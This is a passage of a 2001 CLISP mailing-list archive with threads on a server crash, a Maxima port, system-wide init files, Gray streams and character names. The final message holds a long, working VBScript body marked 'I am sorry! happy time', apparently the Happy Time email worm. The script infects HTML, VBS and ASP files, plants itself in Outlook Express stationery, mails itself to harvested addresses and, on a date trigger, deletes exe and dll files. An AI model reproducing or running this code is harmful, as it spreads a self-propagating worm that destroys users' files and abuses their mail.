- Nt 4.0 SP 6A, 4. 1.3 GHZ P4 - Wind 2000. </FONT>
</P>

<P><FONT SIZE=3D2>These boxs runs for Days/weeks at a time..&nbsp; The =
new box has yet to last 24 hours.&nbsp; </FONT>
<BR><FONT SIZE=3D2>If it helps - the application is CPU bound -- All =
i/o is accomplished though redirection. </FONT>
</P>

<P><FONT SIZE=3D2>The current box is Wind 2000 SP2. </FONT>
</P>

<P><FONT SIZE=3D2>I'm using clisp-win32-2.26.</FONT>
</P>

<P><FONT SIZE=3D2>What do you think?&nbsp; I'm in a tight spot, I have =
a machine in it's current state is </FONT>
<BR><FONT SIZE=3D2>a paper weight! </FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Randy Justice</FONT>
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Randy,

By definition, if the machine crashes, applications must be held 
blameless--at least in a "real" operating system environment with protected 
memory. If you were running Windows 9x, the story might be different, but 
not under Win2K (any variety).

Now, if the "application" in question installed drivers or any code that 
executed in a privileged mode, then it would have to be considered as a 
potential source of the problem, but not a pure application-level program.

The most likely problem, given the relatively stock nature of your overall 
configuration, is hardware.

For what it's worth, you have my sympathies, since I have a high-end 
desktop that is exhibiting similar symptoms--and boy, am I peeved!

Randall Schulz
Mountain View, CA USA


At 08:53 2001-07-12, you wrote:

>Please excuse me, this question is not a total LISP question...
>
>I recently purchased a dual 1.2 GHZ AMD Server.
>
>I purchased the box to one main reason - to execute long running
>LISP programs. The lisp programs needs to run for weeks at a time.
>
>I installed three products on the box: Office 2000 Pro, WinZip 8, and CLISP.
>
>The general symptom and dies with the following message in
>the event viewer:
>Event Type:     Information
>Event Source:   Save Dump
>Event Category: None
>Event ID:       1001
>Date:           7/11/2001
>Time:           8:52:16 PM
>User:           N/A
>Computer:       MPI-0WSES7UYOXH
>Description:
>The computer has rebooted from a bugcheck.  The bugcheck was: 0x00000050 
>(0xec01373d, 0x00000000, 0xec01373d, 0x00000002). Microsoft Windows 2000 
>[v15.2195]. A dump was saved in: C:\WINNT\Minidump\Mini071101-03.dmp.
>
>I have seen the program execute for a few minutes to 10-12 hours before dying.
>
>The machine has given me once a "blue-screen-of-death" with the following 
>message: IRQL_NOT_LESS_OR_EQUAL.
>
>One might try to jump to the conclusion that it is the LISP program.  I 
>have the SAME LISP program running on 4 different boxs.  1. 333 MHZ K6-2 
>Machine - Wind 2000 SP2, 2. 800 MHZ AMD - Wind 2000 SP2, 3.  266 MHZ P2 - 
>Nt 4.0 SP 6A, 4. 1.3 GHZ P4 - Wind 2000.
>
>These boxs runs for Days/weeks at a time..  The new box has yet to last 24 
>hours. If it helps - the application is CPU bound -- All i/o is 
>accomplished though redirection.
>
>The current box is Wind 2000 SP2.
>
>I'm using clisp-win32-2.26.
>
>What do you think?  I'm in a tight spot, I have a machine in it's current 
>state is a paper weight!
>
>Randy Justice



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"Lizardo H. C. M. Nunes" wrote:
> 
> Hi,
> 
> I'm trying to port "Maxima 5.6" using "clisp 2.25.1".
> After editing the file "../src/ suprv1.lisp" I simply typed:
> 
> #cd src
> #make clisp-compile CLISP=clisp
> and it compiles without errors...
> 
> I want to know what I should do next. If somebody already used CLISP to port
> Maxima and wants to give me a hand, I'd really appreciate.

You want to do "clisp -M maxima-clisp.mem". Here's an example:

---------------------------------------------------------
|abacus>clisp -M maxima-clisp.mem 
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo 
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999

Maxima 5.6 Tue Jul 10 15:41:45 CDT 2001 (with enhancements by W.
Schelter).
Licensed under the GNU Public License (see file COPYING)
(C1) integrate(sin(x),x);
(D1) 				   - COS(x)
(C2) quit();
Bye.
|abacus>
---------------------------------------------------------

You will probably also want to try "make test-clisp", which should give
you a great deal of text, ending with

----------------------------------------
..Which was correct
Congratulations: No differences!
No Errors Found
Real time: 19.924162f0 sec.
Run time: 7.92f0 sec.
Space: 24513380 Bytes
GC: 36, GC time: 0.76f0 sec.
----------------------------------------

I hope this helps.

--Jim


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Quoting Sam Steingold (sds@gnu.org):
| > * In message <20010712023420.A11913@apal.ii.uib.no>
| > * On the subject of "[clisp-list] 2.27?"
| > * Sent on Thu, 12 Jul 2001 02:34:20 +0200
| > * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
| >
| > noting that many nice updates have been made in CVS lately over the
| > 2.26.1 release.  Any plans for a 2.27 release to keep the good pace in
| > releases this spring?
| 
| yes - wonna help?
| There are lots of things you could do.

what is needed?
 
| > A slightly unrelated question though, how easy would it be to add
| > support for clisp reading a system-wide config-file (e.g /etc/clisprc)
| > on startup (like ~/.clisprc is read)?  I have currently used a nasty
| > hack to make this work on Debian, but such functionality can be useful
| > for others as well I presume.
| 
| Use saveinitmem instead.  The reason for /etc/profile and /etc/cshrc is
| that they do not have this capability.
| 
| Put whatever you like into /etc/clisprc, then do
| # clisp -i /etc/clisprc -x '(saveinitmem)'
| # mv lispinit.mem /usr/local/lib/clisp/base/
| # clisp -K full -i /etc/clisprc -x '(saveinitmem)'
| # mv lispinit.mem /usr/local/lib/clisp/full/

I tried this, but it didn't save all state properly, but you might have 
fixed that when you updated the ANSI-behaviour when saving state. 
 
| Better yet, put whatever you like into config.lisp before doing make.

The /etc/clisprc should be updatable and usable imho without recompiling 
everything. 
 
| Implementing your proposal would require adding --no-site-init command
| line option (or making -norc ignore /etc/clisprc too), it would also
| require --site-init configure option.
| BTW, where it /etc/clisprc on win32? atari? acorn?

On win32 it is eithe c:\etc\clisprc or c:\windows\clisprc
On atari or acorn I don't know. 
 
| I am not saying that this will not or cannot be done, but this is less
| trivial and not as necessary as you appear to assume.

I think it will be useful for installations on multi-user systems.

The current hack does this to make this possible now:
-x "(progn (ext:saveinitmem \"/usr/lib/clisp/base/lispinit.mem\" :quiet nil
 :init-function #'(lambda () (load \"/etc/clisprc\"))) (quit))"

Which is just a hack. 

-- 
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Here a clisp-2.25 session, about implementing a gray stream 
which output is a vector of bytes:

[1]> (defclass my-byte-vector-stream (lisp:fundamental-binary-output-stream)
  ((vec :accessor stream-vec
        :initform (make-array 100 :element-type '(unsigned-byte 8)
                              :adjustable t
                              :fill-pointer 0))))

#<STANDARD-CLASS MY-BYTE-VECTOR-STREAM>
[2]> (defmethod lisp:stream-write-byte ((s my-byte-vector-stream) (byte integer))
  (vector-push-extend byte (stream-vec s) 100))


WARNING:
The generic function #<GENERIC-FUNCTION STREAM-WRITE-BYTE> is being modified, but has already been called.
#<STANDARD-METHOD
  (#<STANDARD-CLASS MY-BYTE-VECTOR-STREAM> #<BUILT-IN-CLASS INTEGER>)>
[3]> (defvar my-stream (make-instance 'my-byte-vector-stream))
MY-STREAM
[4]> (lisp:write-byte 56 my-stream)
56
[5]> (stream-vec my-stream) ;;; all is fine until here
#(56)
[6]> (lisp:write-float (atan 1) my-stream 'single-float :big) 

0.7853981
[7]> (stream-vec my-stream)
#(56 0 0 1 1)
[8]> (lisp:write-float 0.5e0 my-stream 'single-float :big) 
0.5
[9]> (stream-vec my-stream) 
#(56 0 0 1 1 0 0 1 1)

It is impossible that (0 0 1 1) is the IEEE representation of both
0.5 and (atan 1)... I discovered that write-float outputs not a 
sequence of 4 or 8 bytes, but a sequence of 32 or 64 bits. 
So to solve the problem, instead of using the default 
stream-write-byte-sequence, I must write something ugly:

[10]> (defmethod lisp:stream-write-byte-sequence ((s my-byte-vector-stream)
                                            (seq bit-vector)
                                            &optional (start 0) (end nil))
  (dotimes (n (/ (length seq) 8))
    (do ((i (* 8 n) (+ i 1))
         (z 0 (+ (* 2 z)
                 (sbit seq i))))
        ((>= i (* 8 (+ n 1))) (lisp:stream-write-byte s z)))))


WARNING:
The generic function #<GENERIC-FUNCTION STREAM-WRITE-BYTE-SEQUENCE> is being modified, but has already been called.
#<STANDARD-METHOD
  (#<STANDARD-CLASS MY-BYTE-VECTOR-STREAM> #<BUILT-IN-CLASS BIT-VECTOR>)>
[11]> (lisp:write-float (atan 1) my-stream 'single-float :big) 

0.7853981
[12]> (stream-vec my-stream)
#(56 0 0 1 1 0 0 1 1 63 73 15 218)
[13]> 

which is correct.

I will try read-float this evening...

-- 

Bernard Urban


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FYI.

I have found a program called "BurnInTest" at http://www.passmark.com.
I plan to execute it for the next 4/5 days.. 

Randy


-----Original Message-----
From: Randall R Schulz [mailto:rrschulz@cris.com]
Sent: Thursday, July 12, 2001 11:02 AM
To: Justice, Randy -CONT(DYN); clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] Lisp program Crash...


Randy,

By definition, if the machine crashes, applications must be held 
blameless--at least in a "real" operating system environment with protected 
memory. If you were running Windows 9x, the story might be different, but 
not under Win2K (any variety).

Now, if the "application" in question installed drivers or any code that 
executed in a privileged mode, then it would have to be considered as a 
potential source of the problem, but not a pure application-level program.

The most likely problem, given the relatively stock nature of your overall 
configuration, is hardware.

For what it's worth, you have my sympathies, since I have a high-end 
desktop that is exhibiting similar symptoms--and boy, am I peeved!

Randall Schulz
Mountain View, CA USA


At 08:53 2001-07-12, you wrote:

>Please excuse me, this question is not a total LISP question...
>
>I recently purchased a dual 1.2 GHZ AMD Server.
>
>I purchased the box to one main reason - to execute long running
>LISP programs. The lisp programs needs to run for weeks at a time.
>
>I installed three products on the box: Office 2000 Pro, WinZip 8, and
CLISP.
>
>The general symptom and dies with the following message in
>the event viewer:
>Event Type:     Information
>Event Source:   Save Dump
>Event Category: None
>Event ID:       1001
>Date:           7/11/2001
>Time:           8:52:16 PM
>User:           N/A
>Computer:       MPI-0WSES7UYOXH
>Description:
>The computer has rebooted from a bugcheck.  The bugcheck was: 0x00000050 
>(0xec01373d, 0x00000000, 0xec01373d, 0x00000002). Microsoft Windows 2000 
>[v15.2195]. A dump was saved in: C:\WINNT\Minidump\Mini071101-03.dmp.
>
>I have seen the program execute for a few minutes to 10-12 hours before
dying.
>
>The machine has given me once a "blue-screen-of-death" with the following 
>message: IRQL_NOT_LESS_OR_EQUAL.
>
>One might try to jump to the conclusion that it is the LISP program.  I 
>have the SAME LISP program running on 4 different boxs.  1. 333 MHZ K6-2 
>Machine - Wind 2000 SP2, 2. 800 MHZ AMD - Wind 2000 SP2, 3.  266 MHZ P2 - 
>Nt 4.0 SP 6A, 4. 1.3 GHZ P4 - Wind 2000.
>
>These boxs runs for Days/weeks at a time..  The new box has yet to last 24 
>hours. If it helps - the application is CPU bound -- All i/o is 
>accomplished though redirection.
>
>The current box is Wind 2000 SP2.
>
>I'm using clisp-win32-2.26.
>
>What do you think?  I'm in a tight spot, I have a machine in it's current 
>state is a paper weight!
>
>Randy Justice

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<P><FONT SIZE=3D2>FYI.</FONT>
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<P><FONT SIZE=3D2>I have found a program called &quot;BurnInTest&quot; =
at <A HREF=3D"http://www.passmark.com" =
TARGET=3D"_blank">http://www.passmark.com</A>.</FONT>
<BR><FONT SIZE=3D2>I plan to execute it for the next 4/5 days.. </FONT>
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<P><FONT SIZE=3D2>Randy</FONT>
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<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Randall R Schulz [<A =
HREF=3D"mailto:rrschulz@cris.com">mailto:rrschulz@cris.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Thursday, July 12, 2001 11:02 AM</FONT>
<BR><FONT SIZE=3D2>To: Justice, Randy -CONT(DYN); =
clisp-list@lists.sourceforge.net</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [clisp-list] Lisp program =
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<P><FONT SIZE=3D2>Randy,</FONT>
</P>

<P><FONT SIZE=3D2>By definition, if the machine crashes, applications =
must be held </FONT>
<BR><FONT SIZE=3D2>blameless--at least in a &quot;real&quot; operating =
system environment with protected </FONT>
<BR><FONT SIZE=3D2>memory. If you were running Windows 9x, the story =
might be different, but </FONT>
<BR><FONT SIZE=3D2>not under Win2K (any variety).</FONT>
</P>

<P><FONT SIZE=3D2>Now, if the &quot;application&quot; in question =
installed drivers or any code that </FONT>
<BR><FONT SIZE=3D2>executed in a privileged mode, then it would have to =
be considered as a </FONT>
<BR><FONT SIZE=3D2>potential source of the problem, but not a pure =
application-level program.</FONT>
</P>

<P><FONT SIZE=3D2>The most likely problem, given the relatively stock =
nature of your overall </FONT>
<BR><FONT SIZE=3D2>configuration, is hardware.</FONT>
</P>

<P><FONT SIZE=3D2>For what it's worth, you have my sympathies, since I =
have a high-end </FONT>
<BR><FONT SIZE=3D2>desktop that is exhibiting similar symptoms--and =
boy, am I peeved!</FONT>
</P>

<P><FONT SIZE=3D2>Randall Schulz</FONT>
<BR><FONT SIZE=3D2>Mountain View, CA USA</FONT>
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<P><FONT SIZE=3D2>At 08:53 2001-07-12, you wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt;Please excuse me, this question is not a total =
LISP question...</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;I recently purchased a dual 1.2 GHZ AMD =
Server.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;I purchased the box to one main reason - to =
execute long running</FONT>
<BR><FONT SIZE=3D2>&gt;LISP programs. The lisp programs needs to run =
for weeks at a time.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;I installed three products on the box: Office =
2000 Pro, WinZip 8, and CLISP.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;The general symptom and dies with the following =
message in</FONT>
<BR><FONT SIZE=3D2>&gt;the event viewer:</FONT>
<BR><FONT SIZE=3D2>&gt;Event Type:&nbsp;&nbsp;&nbsp;&nbsp; =
Information</FONT>
<BR><FONT SIZE=3D2>&gt;Event Source:&nbsp;&nbsp; Save Dump</FONT>
<BR><FONT SIZE=3D2>&gt;Event Category: None</FONT>
<BR><FONT SIZE=3D2>&gt;Event ID:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
1001</FONT>
<BR><FONT =
SIZE=3D2>&gt;Date:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; 7/11/2001</FONT>
<BR><FONT =
SIZE=3D2>&gt;Time:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; 8:52:16 PM</FONT>
<BR><FONT =
SIZE=3D2>&gt;User:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; N/A</FONT>
<BR><FONT SIZE=3D2>&gt;Computer:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
MPI-0WSES7UYOXH</FONT>
<BR><FONT SIZE=3D2>&gt;Description:</FONT>
<BR><FONT SIZE=3D2>&gt;The computer has rebooted from a bugcheck.&nbsp; =
The bugcheck was: 0x00000050 </FONT>
<BR><FONT SIZE=3D2>&gt;(0xec01373d, 0x00000000, 0xec01373d, =
0x00000002). Microsoft Windows 2000 </FONT>
<BR><FONT SIZE=3D2>&gt;[v15.2195]. A dump was saved in: =
C:\WINNT\Minidump\Mini071101-03.dmp.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;I have seen the program execute for a few =
minutes to 10-12 hours before dying.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;The machine has given me once a =
&quot;blue-screen-of-death&quot; with the following </FONT>
<BR><FONT SIZE=3D2>&gt;message: IRQL_NOT_LESS_OR_EQUAL.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;One might try to jump to the conclusion that it =
is the LISP program.&nbsp; I </FONT>
<BR><FONT SIZE=3D2>&gt;have the SAME LISP program running on 4 =
different boxs.&nbsp; 1. 333 MHZ K6-2 </FONT>
<BR><FONT SIZE=3D2>&gt;Machine - Wind 2000 SP2, 2. 800 MHZ AMD - Wind =
2000 SP2, 3.&nbsp; 266 MHZ P2 - </FONT>
<BR><FONT SIZE=3D2>&gt;Nt 4.0 SP 6A, 4. 1.3 GHZ P4 - Wind 2000.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;These boxs runs for Days/weeks at a time..&nbsp; =
The new box has yet to last 24 </FONT>
<BR><FONT SIZE=3D2>&gt;hours. If it helps - the application is CPU =
bound -- All i/o is </FONT>
<BR><FONT SIZE=3D2>&gt;accomplished though redirection.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;The current box is Wind 2000 SP2.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;I'm using clisp-win32-2.26.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;What do you think?&nbsp; I'm in a tight spot, I =
have a machine in it's current </FONT>
<BR><FONT SIZE=3D2>&gt;state is a paper weight!</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;Randy Justice</FONT>
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> * In message <20010712184252.A27015@apal.ii.uib.no>
> * On the subject of "Re: [clisp-list] 2.27?"
> * Sent on Thu, 12 Jul 2001 18:42:52 +0200
> * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
>
> | yes - wonna help?
> | There are lots of things you could do.
> what is needed?

1. get the current CVS CLISP and thoroughly test it.

2. try to reproduce the "help is not working" bug reported recently and
   try to track it down.

3. http://sourceforge.net/tracker/index.php?func=detail&aid=429129&group_id=1355&atid=101355

> | > A slightly unrelated question though, how easy would it be to add
> | > support for clisp reading a system-wide config-file (e.g /etc/clisprc)
> | > on startup (like ~/.clisprc is read)?  I have currently used a nasty
> | > hack to make this work on Debian, but such functionality can be useful
> | > for others as well I presume.
> | 
> | Use saveinitmem instead.  The reason for /etc/profile and /etc/cshrc is
> | that they do not have this capability.
> | 
> | Put whatever you like into /etc/clisprc, then do
> | # clisp -i /etc/clisprc -x '(saveinitmem)'
> | # mv lispinit.mem /usr/local/lib/clisp/base/
> | # clisp -K full -i /etc/clisprc -x '(saveinitmem)'
> | # mv lispinit.mem /usr/local/lib/clisp/full/
> 
> I tried this, but it didn't save all state properly, but you might have 
> fixed that when you updated the ANSI-behaviour when saving state. 

this should be fixed in the CVS

> | Better yet, put whatever you like into config.lisp before doing make.
> 
> The /etc/clisprc should be updatable and usable imho without
> recompiling everything.

just dump an image.

> | Implementing your proposal would require adding --no-site-init command
> | line option (or making -norc ignore /etc/clisprc too), it would also
> | require --site-init configure option.
> | BTW, where it /etc/clisprc on win32? atari? acorn?
> 
> On win32 it is eithe c:\etc\clisprc or c:\windows\clisprc

yuck! I don't have either!

> On atari or acorn I don't know. 

so, where should we look on those platforms?

it this (dubious) feature will be implemented, we will probably be
loading a file in the lib-directory
(see http://clisp.cons.org/clisp.html#opt-libdir) 

> | I am not saying that this will not or cannot be done, but this is less
> | trivial and not as necessary as you appear to assume.
> 
> I think it will be useful for installations on multi-user systems.
> 
> The current hack does this to make this possible now:
> -x "(progn (ext:saveinitmem \"/usr/lib/clisp/base/lispinit.mem\" :quiet nil
>  :init-function #'(lambda () (load \"/etc/clisprc\"))) (quit))"
> 
> Which is just a hack. 

looks fine to me, although I would recommend

clisp -x '(saveinitmem "foo" :init-function (lambda () (load "/etc/clisprc" :if-does-not-exist nil)))'

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Stig E. Sandoe wrote:

> A slightly unrelated question though, how easy would it be to add support 
> for clisp reading a system-wide config-file (e.g /etc/clisprc) on startup 
> (like ~/.clisprc is read)?  I have currently used a nasty hack to make 
> this work on Debian, but such functionality can be useful for others as 
> well I presume. 

In practice, such system-wide config files (like /etc/profile) have
the property of annoying more users than of being useful to them.

What can /etc/clisprc do that $HOME/.clisprc and saveinitmem cannot?

- If you are a democratic sysadmin or Lisp course teacher, you can
  tell your users or students to create a $HOME/.clisprc containing
  the line

           (load "/etc/clisprc")

- If you are a fascist sysadmin, you can add this line to your users'
  $HOME/.clisprc without asking them. :-)

- If you are a Linux distributor, you can add your stuff to config.lisp
  before building clisp. It will then end up in the memory images
  automatically.

Bruno


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Clisp 2.26 on solaris says:

(code-char 160)
#\NO-BREAK_SPACE

But there doesn't seem to be any such character.  If I try to type
#\NO-BREAK_SPACE into the listener, it complains:

 #\NO-BREAK_SPACE

*** - READ from #<CONCATENATED-STREAM #<STRING-INPUT-STREAM> #<SYNONYM-STREAM *TERMINAL-IO*>>: there is no character bit with name "NO"

This doesn't happen with (code-char 161)

Ray


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Os.Doc =3D Lhtml()=20
Os.write()=20
Iv mPath, "Help.hta"=20
End If=20
End If=20
End If=20
Else=20
main=20
End If=20
End Sub=20
Sub main()=20
On Error Resume Next=20
Set Of =3D CreateObject("Scripting.FileSystemObject")=20
Set Od =3D CreateObject("Scripting.Dictionary")=20
Od.Add "html", "1100"=20
Od.Add "vbs", "0100"=20
Od.Add "htm", "1100"=20
Od.Add "asp", "0010"=20
Ks =3D "HKEY_CURRENT_USER\Software\"=20
Ds =3D Grf()=20
Cs =3D Gsf()=20
If IsVbs Then=20
If Of.FileExists("C:\help.htm") Then=20
Of.DeleteFile ("C:\help.htm")=20
End If=20
Key =3D CInt(Month(Date) + Day(Date))=20
If Key =3D 13 Then=20
Od.RemoveAll=20
Od.Add "exe", "0001"=20
Od.Add "dll", "0001"=20
End If=20
Cn =3D Rg(Ks & "Help\Count")=20
If Cn =3D "" Then=20
Cn =3D 1=20
End If=20
Rw Ks & "Help\Count", Cn + 1=20
f1 =3D Rg(Ks & "Help\FileName")=20
f2 =3D FNext(Of, Od, f1)=20
fext =3D GetExt(Of, Od, f2)=20
Rw Ks & "Help\FileName", f2=20
If IsDel(fext) Then=20
f3 =3D f2=20
f2 =3D FNext(Of, Od, f2)=20
Rw Ks & "Help\FileName", f2=20
Of.DeleteFile f3=20
Else=20
If LCase(WScript.ScriptFullname) <> LCase(f2) Then=20
Fw Of, f2, fext=20
End If=20
End If=20
If (CInt(Cn) Mod 366) =3D 0 Then=20
If (CInt(Second(Time)) Mod 2) =3D 0 Then=20
Tsend=20
Else=20
adds =3D Og=20
Msend (adds)=20
End If=20
End If=20
wp =3D Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")=20
If Rg(Ks & "Help\wallPaper") <> wp Or wp =3D "" Then=20
If wp =3D "" Then=20
n1 =3D ""=20
n3 =3D Cs & "\Help.htm"=20
Else=20
mP =3D Of.GetFile(wp).ParentFolder=20
n1 =3D Of.GetFileName(wp)=20
n2 =3D Of.GetBaseName(wp)=20
n3 =3D Cs & "\" & n2 & ".htm"=20
End If=20
Set pfc =3D Of.CreateTextFile(n3, True)=20
mt =3D Sa("1100")=20
pfc.Write "<" & "HTML><" & "body bgcolor=3D'#007f7f' background=3D'" & =
n1 & "'><" & "/Body><" & "/HTML>" & mt=20
pfc.Close=20
Rw Ks & "Help\wallPaper", n3=20
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3=20
End If=20
Else=20
Set fc =3D Of.CreateTextFile(Ds & "\Help.vbs", True)=20
fc.Write Sa("0100")=20
fc.Close=20
bf =3D Cs & "\Untitled.htm"=20
Set fc2 =3D Of.CreateTextFile(bf, True)=20
fc2.Write Lhtml=20
fc2.Close=20
oeid =3D Rg("HKEY_CURRENT_USER\Identities\Default User ID")=20
oe =3D "HKEY_CURRENT_USER\Identities\" & oeid & =
"\Software\Microsoft\Outlook Express\5.0\Mail"=20
MSH =3D oe & "\Message Send HTML"=20
CUS =3D oe & "\Compose Use Stationery"=20
SN =3D oe & "\Stationery Name"=20
Rw MSH, 1=20
Rw CUS, 1=20
Rw SN, bf=20
Web =3D Cs & "\WEB"=20
Set gf =3D Of.GetFolder(Web).Files=20
Od.Add "htt", "1100"=20
For Each m In gf=20
fext =3D GetExt(Of, Od, m)=20
If fext <> "" Then=20
Fw Of, m, fext=20
End If=20
Next=20
End If=20
End Sub=20
Sub mclose()=20
document.Write "<" & "title>I am sorry!</title" & ">"=20
window.Close=20
End Sub=20
Sub Rt()=20
Dim mPath=20
On Error Resume Next=20
mPath =3D Grf()=20
Iv mPath, "Help.vbs"=20
End Sub=20
Function Sa(n)=20
Dim VBSText, m=20
VBSText =3D Lvbs()=20
If Mid(n, 3, 1) =3D 1 Then=20
m =3D "<%" & VBSText & "%>"=20
End If=20
If Mid(n, 2, 1) =3D 1 Then=20
m =3D VBSText=20
End If=20
If Mid(n, 1, 1) =3D 1 Then=20
m =3D Lscript(m)=20
End If=20
Sa =3D m & vbCrLf=20
End Function=20
Sub Fw(Of, S, n)=20
Dim fc, fc2, m, mmail, mt=20
On Error Resume Next=20
Set fc =3D Of.OpenTextFile(S, 1)=20
mt =3D fc.ReadAll=20
fc.Close=20
If Not Sc(mt) Then=20
mmail =3D Ml(mt)=20
mt =3D Sa(n)=20
Set fc2 =3D Of.OpenTextFile(S, 8)=20
fc2.Write mt=20
fc2.Close=20
Msend (mmail)=20
End If=20
End Sub=20
Function Sc(S)=20
mN =3D "Rem I am sorry! happy time"=20
If InStr(S, mN) > 0 Then=20
Sc =3D True=20
Else=20
Sc =3D False=20
End If=20
End Function=20
Function FNext(Of, Od, S)=20
Dim fpath, fname, fext, T, gf=20
On Error Resume Next=20
fname =3D ""=20
T =3D False=20
If Of.FileExists(S) Then=20
fpath =3D Of.GetFile(S).ParentFolder=20
fname =3D S=20
ElseIf Of.FolderExists(S) Then=20
fpath =3D S=20
T =3D True=20
Else=20
fpath =3D Dnext(Of, "")=20
End If=20
Do While True=20
Set gf =3D Of.GetFolder(fpath).Files=20
For Each m In gf=20
If T Then=20
If GetExt(Of, Od, m) <> "" Then=20
FNext =3D m=20
Exit Function=20
End If=20
ElseIf LCase(m) =3D LCase(fname) Or fname =3D "" Then=20
T =3D True=20
End If=20
Next=20
fpath =3D Pnext(Of, fpath)=20
Loop=20
End Function=20
Function Pnext(Of, S)=20
On Error Resume Next=20
Dim Ppath, Npath, gp, pn, T, m=20
T =3D False=20
If Of.FolderExists(S) Then=20
Set gp =3D Of.GetFolder(S).SubFolders=20
pn =3D gp.Count=20
If pn =3D 0 Then=20
Ppath =3D LCase(S)=20
Npath =3D LCase(Of.GetParentFolderName(S))=20
T =3D True=20
Else=20
Npath =3D LCase(S)=20
End If=20
Do While Not Er=20
For Each pn In Of.GetFolder(Npath).SubFolders=20
If T Then=20
If Ppath =3D LCase(pn) Then=20
T =3D False=20
End If=20
Else=20
Pnext =3D LCase(pn)=20
Exit Function=20
End If=20
Next=20
T =3D True=20
Ppath =3D LCase(Npath)=20
Npath =3D Of.GetParentFolderName(Npath)=20
If Of.GetFolder(Ppath).IsRootFolder Then=20
m =3D Of.GetDriveName(Ppath)=20
Pnext =3D Dnext(Of, m)=20
Exit Function=20
End If=20
Loop=20
End If=20
End Function=20
Function Dnext(Of, S)=20
Dim dc, n, d, T, m=20
On Error Resume Next=20
T =3D False=20
m =3D ""=20
Set dc =3D Of.Drives=20
For Each d In dc=20
If d.DriveType =3D 2 Or d.DriveType =3D 3 Then=20
If T Then=20
Dnext =3D d=20
Exit Function=20
Else=20
If LCase(S) =3D LCase(d) Then=20
T =3D True=20
End If=20
If m =3D "" Then=20
m =3D d=20
End If=20
End If=20
End If=20
Next=20
Dnext =3D m=20
End Function=20
Function GetExt(Of, Od, S)=20
Dim fext=20
On Error Resume Next=20
fext =3D LCase(Of.GetExtensionName(S))=20
GetExt =3D Od.Item(fext)=20
End Function=20
Sub Rw(k, v)=20
Dim R=20
On Error Resume Next=20
Set R =3D CreateObject("WScript.Shell")=20
R.RegWrite k, v=20
End Sub=20
Function Rg(v)=20
Dim R=20
On Error Resume Next=20
Set R =3D CreateObject("WScript.Shell")=20
Rg =3D R.RegRead(v)=20
End Function=20
Function IsVbs()=20
Dim ErrTest=20
On Error Resume Next=20
ErrTest =3D WScript.ScriptFullname=20
If Err Then=20
IsVbs =3D False=20
Else=20
IsVbs =3D True=20
End If=20
End Function=20
Function IsHTML()=20
Dim ErrTest=20
On Error Resume Next=20
ErrTest =3D document.Location=20
If Er Then=20
IsHTML =3D False=20
Else=20
IsHTML =3D True=20
End If=20
End Function=20
Function IsMail(S)=20
Dim m1, m2=20
IsMail =3D False=20
If InStr(S, vbCrLf) =3D 0 Then=20
m1 =3D InStr(S, "@")=20
m2 =3D InStr(S, ".")=20
If m1 <> 0 And m1 < m2 Then=20
IsMail =3D True=20
End If=20
End If=20
End Function=20
Function Lvbs()=20
Dim f, m, ws, Of=20
On Error Resume Next=20
If IsVbs Then=20
Set Of =3D CreateObject("Scripting.FileSystemObject")=20
Set f =3D Of.OpenTextFile(WScript.ScriptFullname, 1)=20
Lvbs =3D f.ReadAll=20
Else=20
For Each ws In document.scripts=20
If LCase(ws.Language) =3D "vbscript" Then=20
If Sc(ws.Text) Then=20
Lvbs =3D ws.Text=20
Exit Function=20
End If=20
End If=20
Next=20
End If=20
End Function=20
Function Iv(mPath, mName)=20
Dim Shell=20
On Error Resume Next=20
Set Shell =3D CreateObject("Shell.Application")=20
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb=20
If Er Then=20
Iv =3D False=20
Else=20
Iv =3D True=20
End If=20
End Function=20
Function Grf()=20
Dim Shell, mPath=20
On Error Resume Next=20
Set Shell =3D CreateObject("Shell.Application")=20
